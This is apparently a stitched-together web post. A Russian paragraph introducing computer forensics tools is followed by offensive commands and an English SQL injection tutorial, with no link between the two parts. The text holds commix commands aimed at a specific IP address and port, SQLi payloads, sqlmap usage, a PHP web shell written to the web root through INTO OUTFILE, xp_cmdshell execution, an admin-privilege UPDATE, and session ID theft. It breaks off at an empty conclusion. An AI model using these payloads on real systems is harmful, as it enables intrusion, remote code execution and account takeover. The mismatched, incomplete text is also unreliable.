Форензика (компьютерная криминалистика, расследование киберпреступлений) — прикладная наука о раскрытии преступлений, связанных с компьютерной информацией, об исследовании цифровых доказательств, методах поиска, получения и закрепления таких доказательств. В этой статье мы рассмотрим популярные инструменты для проведения криминалистического анализа и сбора цифровых доказательств.

nuclei -t ./nuclei-drupal-sa/templates/ --target https://www.example.com

git clone https://github.com/commixproject/commix.git commix
python commix.py -h

python commix --wizard

python commix -u http://62.173.140.174:16016/ --data 'action='

python commix -u http://62.173.140.174:16016/ --data 'action=' --tamper=space2ifs

Finding SQL Injection Vulnerabilities in Multiple Ways with Examples + Achieving RCE via SQLi

SQL Injection (SQLi) is one of the most critical web vulnerabilities, allowing an attacker to manipulate database queries, extract sensitive data, modify records, or even execute system commands (RCE - Remote Code Execution).


This article will explore multiple ways to detect SQLi vulnerabilities with practical examples and then demonstrate how SQLi can lead to RCE.


━━━━━━━━━━━━━━━━

1. Discovering SQL Injection Vulnerabilities in Multiple Ways


🔹Method 1: Manual Testing with Special Characters

The simplest way to test for SQL Injection is by inserting special characters such as:

'
"
--
#
;


Example 1: Injecting a Single Quote

'

If a website has a login page like:

https://example.com/login.php?user=admin

Try entering:

https://example.com/login.php?user=admin'

If an error appears like:

You have an error in your SQL syntax...

It indicates an SQL Injection vulnerability.


━━━━━━━━━━━━━━━━
🔹Method 2: Injecting Simple SQL Queries

If the backend SQL query looks like this:

SELECT * FROM users WHERE username = '$user' AND password = '$pass'
You can try the following payloads:

admin' --

or

' OR '1'='1' --

If you gain access without entering a password, the application is vulnerable.


━━━━━━━━━━━━━━━━━
🔹 Method 3: Using SQLMap for Automated Testing

🔹 SQLMap is a powerful tool for automated SQL Injection detection. Run:

sqlmap -u "https://example.com/login.php?user=admin" --dbs

SQLMap will analyze the URL and extract the database names if vulnerable.


━━━━━━━━━━━━━━━━━
🔹Method 4: Testing with SQL Sleep (Time-Based SQLi)

If error messages are hidden, you can test for Time-Based SQLi:

https://example.com/page?id=1' AND SLEEP(5) --

If the page takes 5 seconds to load, the database is likely vulnerable.


━━━━━━━━━━━━━━━━━
🔹Method 5: Data Extraction via UNION-Based SQL Injection

If a website displays data from a database, try injecting a UNION SELECT query:

https://example.com/page?id=1 UNION SELECT 1,2,3,4 --

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

http://target.com/shell.php?cmd=whoami

EXEC xp_cmdshell 'whoami';

UPDATE users SET is_admin = 1 WHERE username = 'victim';

SELECT session_id FROM users WHERE username = 'admin';

💡 Conclusion